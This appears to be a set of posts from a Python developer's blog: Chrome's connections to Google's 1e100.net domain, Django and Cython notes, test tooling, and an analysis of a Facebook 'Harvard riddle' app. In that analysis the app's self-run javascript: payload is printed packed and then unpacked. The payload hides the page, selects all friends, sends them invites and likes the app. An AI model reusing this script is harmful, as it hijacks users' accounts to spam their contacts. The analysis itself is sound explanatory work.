Google docs wouldn't let me share the presentation publicly with people outside our company's domain and it gave me an error when I tried to download it as a Powerpoint file or PDF so I was forced to recreate my presentation locally. Anyway, I placed the slides to my talk at PyCon Asia online please check it out on slideshare.

Today I found that google chrome was making lots of background connections to 1e100.net. I was a little worried at first but this seems to be a google owned domain and these connections are used for their anti-phishing/malware feature.

But even after disabling the feature I still noticed lots of connections open to 1e100.net:

ian@macbook-ian:~$ lsof -i4 | grep chrome
chrome  5294  ian   70u  IPv4  82734      0t0  TCP macbook-ian.local:54753->nrt04s01-in-f99.1e100.net:www (ESTABLISHED)
chrome  5294  ian   81u  IPv4  82735      0t0  TCP macbook-ian.local:54754->nrt04s01-in-f99.1e100.net:www (ESTABLISHED)
chrome  5294  ian   82u  IPv4  82736      0t0  TCP macbook-ian.local:54755->nrt04s01-in-f99.1e100.net:www (ESTABLISHED)
chrome  5294  ian   89u  IPv4  83365      0t0  TCP macbook-ian.local:56139->tx-in-f100.1e100.net:www (ESTABLISHED)
chrome  5294  ian   94u  IPv4  83413      0t0  TCP macbook-ian.local:46004->tx-in-f138.1e100.net:www (ESTABLISHED)

Google seems to be doing a lot of user tracking via google chrome.

As for 1e100.net, it seems to be a domain used by google as a gateway to their server infrastructure. Simply pinging www.google.com reveals that it's aliased to a 1e100.net subdomain:

ian@macbook-ian:~$ ping www.google.com
PING www.google.com (66.249.89.104) 56(84) bytes of data.
64 bytes from nrt04s01-in-f104.1e100.net (66.249.89.104): icmp_seq=1 ttl=51 time=10.2 ms
...

Today I got an email from a friend on Facebook that suggested that I try out this application called "Only 4% of harvard grads can solve this riddle..". Being curious I took a look at it.

The app starts out innocently enough, posing a riddle that supposedly only 4% of Harvard grads can guess.

But in order to see the answer it asks you to type "Ctrl-C" to copy some javascript, "Alt-D" to select your address bar, and "Ctrl-V Enter" to run the javascript.

Here is the beautified packed javascript.

javascript: (function () {
    a = 'app112010525500764_jop';
    b = 'app112010525500764_jode';
    ifc = 'app112010525500764_ifc';
    ifo = 'app112010525500764_ifo';
    mw = 'app112010525500764_mwrapper';
    eval(function (p, a, c, k, e, r) {
        e = function (c) {
            return (c < a ? '' : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
        };
        if (!''.replace(/^/, String)) {
            while (c--) r[e(c)] = k[c] || e(c);
            k = [function (e) {
                return r[e]
            }];
            e = function () {
                return '\\w+'
            };
            c = 1
        };
        while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
        return p
    }('J e=["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N\\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\\F\\r\\g\\h\\T\\g\\l\\i\\u\\o"];d=U;d[e[2]](V)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];s=d[e[2]](e[6]);m=d[e[2]](e[7]);c=d[e[9]](e[8]);c[e[11]](e[10],I,I);s[e[12]](c);C(D(){W[e[13]]()},E);C(D(){X[e[16]](e[14],e[15])},E);C(D(){m[e[12]](c);d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]},E);', 62, 69, '||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'), 0, {}))
})();

Here we have some javascript code that is packed. The above code unpacks the packed code and evals it. I replaced the above eval with console.log and ran the code to output the packed code. Here it is beautified.

d = document;
d['getElementById'](mw)['style']['visibility'] = 'hidden';
d['getElementById'](a)['innerHTML'] = d['getElementById'](b)['value'];
s = d['getElementById']('suggest');
m = d['getElementById']('likeme');
c = d['createEvent']('MouseEvents');
c['initEvent']('click', true, true);
s['dispatchEvent'](c);
setTimeout(function () {
    fs['select_all']()
}, 5000);
setTimeout(function () {
    SocialGraphManager['submitDialog']('sgm_invite_form', '/ajax/social_graph/invite_dialog.php')
}, 5000);
setTimeout(function () {
    m['dispatchEvent'](c);
    d['getElementById'](ifo)['innerHTML'] = d['getElementById'](ifc)['value']
}, 5000);

Lets go though the code above step by step.

d['getElementById'](mw)['style']['visibility'] = 'hidden';

This code hides the application's main block.

d['getElementById'](a)['innerHTML'] = d['getElementById'](b)['value'];

The contents of the textarea at id b ('app112010525500764_jode') is html for a dialog to suggest the application to your friends. The code inserts it into a block on the page.

<textarea id="app112010525500764_jode" style="display: none;" fbcontext="86d477030eb0">
  <div class="suggestdiv">
    <a id="suggest" href="#" ajaxify="/ajax/social_graph/invite_dialog.php?class=FanManager&node_id=112049325499228" class=" profile_action actionspro_a" rel="dialog-post">Suggest to Friends</a>
  </div>
  <div class="likemediv">
    <a ajaxify="/ajax/pages/fan_status.php?fbpage_id=112049325499228&add=1&reload=0&preserve_tab=1&use_primer=1" id="likeme" rel="async-post" class="UIButton UIButton_Gray UIButton_CustomIcon UIActionButton" href="#">
    <span class="UIButton_Text"><i class="UIButton_Icon img spritemap_icons sx_icons_like"></i>Like</span></a>
  </div>
</textarea>

The next code sets up a mouse click event and selects some elements from the suggest box.

s = d['getElementById']('suggest');
m = d['getElementById']('likeme');
c = d['createEvent']('MouseEvents');
c['initEvent']('click', true, true);
s['dispatchEvent'](c);

The code below is the shady part. It sets 5 second timers that will click items on the suggestion box, effectively selecting all of your friends and suggesting the application to them. It then likes the application.

setTimeout(function () {
    fs['select_all']()
}, 5000);
setTimeout(function () {
    SocialGraphManager['submitDialog']('sgm_invite_form', '/ajax/social_graph/invite_dialog.php')
}, 5000);
setTimeout(function () {
    m['dispatchEvent'](c);
    d['getElementById'](ifo)['innerHTML'] = d['getElementById'](ifc)['value']
}, 5000);

As of this writing 543 people had liked the application which I take to mean that 543 people followed the instructions on the application. The application itself doesn't do anything particularly bad besides spam all of your friends so I took it to be a security research application. Anyone else have a better take on it?

Colbert interviews Julien Assange of WikiLeaks. He actually challenges Julien on WikiLeaks' stance on releasing information as a editorial. Interesting interview. Better than any other interview I've seen so far.

Since I've started using Chrome as my main browser for surfing I have noticed that some web applications seem to redirect to 404 pages. After some investigation it seems that the browser caches 301 responses (they are permanent after all) and when going to that URL again automatically redirects you.

This is a standard and correct thing to do since it saves HTTP requests but many websites/webapps haven't used redirects and permanent redirects properly. Many return permanent redirects when redirecting after a login page or user action. I suppose many people think that it's the better thing to do since it's more "SEO Friendly" or somesuch.

This kind of thing looks ok when they are developing it as 301 and 302 have very similar affects on the browser, but they really mean different things.

I started a project today to implement an interface for the open-vcdiff using Cython. I'm not a C++ master and the Python C libraries are pretty new to me but I managed to expose and implement a few methods of the VCDiffEncoder class. The hardest part so far has been trying to figure out how to use the C++ standard library types like std::string. I'm also not sure how I can interface with python in such a way as to allow fast processing of potentially large binary data. Normally I would use a file-like object in Python to create a kind of string but open-vcdiff being C++ has a slightly different interface for dealing with binary blobs.

The code is over at bitbucket in my python-openvcdiff repository.

I edited this gist which is a redis init.d script used to start and stop a redis server. I edited it so that the redis server could be installed anywhere in the PATH given and so that it uses the redis-cli to send the server the SHUTDOWN command. You'll need to set daemonize to "on" in your redis.conf so that redis daemonizes properly.

Recently at work my coworker Shinya Okano came across Modipyd written by Takanori Ishikawa. Modipyd is a module dependency monitoring framework which can build module dependency trees and monitor when modules have been changed. But most interesting feature it provides is the pyautotest tool.

pyautotest is a small daemon that will monitor modules in a project and automatically run tests that depend on a particular module when the module changes. This comes in really handy when writing python libraries and tools.

When run on the console it looks something like this:

ian@macbook-ian:~/src/mylib$ pyautotest
....
----------------------------------------------------------------------
Ran 4 tests in 0.002s

OK
..........
----------------------------------------------------------------------
Ran 10 tests in 0.001s

OK

Here I edited a couple files and pyautotest ran the tests that are dependent on those files.

Now to the really cool part. My other coworker Yosuke Ikeda wrote a test runner that will invoke growlnotify and show a growl message with the results of each test run. Inspired by this I went ahead and added support for libnotify on Linux using pynotify and Shinya Okano added support for Windows with Snarl.

When combined with pyautotest this makes for a really cool test driven development tool. Every time you save a file you get a notification if you did something dumb and broke a dependent test. Just install growltestrunner:

hg clone https://bitbucket.org/ae35/growltestrunner/
cd growltestrunner
python setup.py install

... and invoke pyautotest in your project directory like below

For growl:

pyautotest -r growltestrunner.GrowlTestRunner

For pynotify:

pyautotest -r growltestrunner.PynotifyTestRunner

For Snarl:

pyautotest -r growltestrunner.SnarlTestRunner

I came across a little annoyance in Django today. I found that ForeignKeys that reference 'self', i.e. they point to the same table, always result in a join in a filter.

Take this normal foreign key reference.

   class Customer(models.Models):
       user = models.ForeignKey(User)

   >>> Customer.objects.filter(user__isnull)._as_sql()
   ('SELECT U0."id" FROM "accounts_customer" U0 WHERE U0."customer_id" IS NULL',
())

Now lets look at a version of the customer model with a self reference.

   class Customer(models.Models):
       user = models.ForeignKey(User)
       other_cust = models.ForeignKey('self')

   >>> Customer.objects.filter(user__isnull)._as_sql()
   ('SELECT U0."id" FROM "accounts_customer" U0 LEFT OUTER JOIN "accounts_customer" U1 ON (U0."other_cust_id" = U1."id") WHERE U1."id" IS NULL',
())

Hmm, yuck. That little extra JOIN is going to kill performance if the table is big. Let's do it the right way.

>>> Customer.objects.extra(where=["other_cust_id IS NULL"])
('SELECT U0."id" FROM "accounts_customer" U0 WHERE other_cust_id IS NULL', ())

Ahh, that's better. I don't really like using extra() but in situations like these I'm glad it's there.

This is cool Django application from Yasushi Masuda which allows you to render data to a pdf using trml2pdf.

template2pdf provides a generic view called direct_to_pdf which will render a rml template directly to pdf.

# coding: utf-8

from django.http import HttpResponse
from django_trml2pdf import direct_to_pdf

from django.shortcuts import render_to_response

def myview(request, template_name='trml2pdf/mytemplate.rml'):
    params = {}
    return HttpResponse(
        direct_to_pdf(request, template_name, params),
        mimetype='application/pdf')